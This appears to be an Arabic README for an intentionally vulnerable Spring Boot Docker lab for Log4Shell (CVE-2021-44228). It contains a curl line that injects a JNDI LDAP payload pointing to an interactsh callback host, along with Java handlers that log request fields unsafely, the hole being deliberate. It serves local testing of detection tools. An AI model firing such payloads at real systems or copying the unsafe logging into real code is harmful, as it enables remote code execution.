
خدمة Spring Boot مُحسّنة على Docker ومُعرضة عمداً لثغرة Log4Shell (CVE-2021-44228) لاختبار أدوات الكشف والحمولات وقدرات الاستغلال في بيئة محلية.
هذا مشروع "Hello World" مخترق (dirty hack) باستخدام Spring Boot لاختبار أدواتك/حمولاتك/قدرات الكشف محليًا قبل استخدامها على الأهداف الإنتاجية.
إصدار Log4j المُهيأ هو 2.13.0
bash build.sh
docker run -p 8080:8080 dwdi/log4shell
إذا لم يكن لديك Burp Collaborator يعمل في المرآب، يمكنك زيارة هذا الموقع للحصول على تجربة مماثلة: https://interactsh.com
curl -s --max-time 20 localhost:8080 -H 'User-Agent: ${jndi:ldap://<some_custom_identifier>.<your_generated_subdomain>.interactsh.com/a}' > /dev/null
يمكنك استخدام هذا المستودع الرائع لإجراء المسح المحلي/الجماعي: https://github.com/adilsoybali/Log4j-RCE-Scanner
تتلخص هذه الثغرة في إجبار قيمة يتحكم بها المستخدم على أن تُسجَّل بواسطة إطار التسجيل الضعيف. مع أخذ ذلك في الاعتبار، يدعم هذا التطبيق التجريبي البسيط اثنين من أوامر HTTP (GET/PUT) ومجموعة من مواقع الحقن:
@GetMapping("/")
public String index(HttpServletRequest request) {
logger.info("Request URL: " + request.getRequestURL());
logger.info("Request URI: " + request.getRequestURI());
logger.info("Request Method: " + request.getMethod());
logger.info("Request Query String: " + request.getQueryString());
logger.info("Request Protocol: " + request.getProtocol());
logger.info("Request Remote Address: " + request.getRemoteAddr());
logger.info("Request Remote Host: " + request.getRemoteHost());
logger.info("Request Remote Port: " + request.getRemotePort());
logger.info("Request User Agent: " + request.getHeader("User-Agent"));
return "Log4J2 is working!";
}
@PostMapping("/")
public String post(HttpServletRequest request, @RequestBody String body) {
logger.info("Request URL: " + request.getRequestURL());
logger.info("Request URI: " + request.getRequestURI());
logger.info("Request Method: " + request.getMethod());
logger.info("Request Query String: " + request.getQueryString());
logger.info("Request Protocol: " + request.getProtocol());
logger.info("Request Remote Address: " + request.getRemoteAddr());
logger.info("Request Remote Host: " + request.getRemoteHost());
logger.info("Request Remote Port: " + request.getRemotePort());
logger.info("Request User Agent: " + request.getHeader("User-Agent"));
logger.info("Request Body: " + body); // mind the extra request body
return "Log4J2 is working!";
}
المساهمات / التحسينات مرحب بها.
نأسف لجودة الكود :) هذا المشروع ليس للتباهي بل للمشاركة / المساعدة.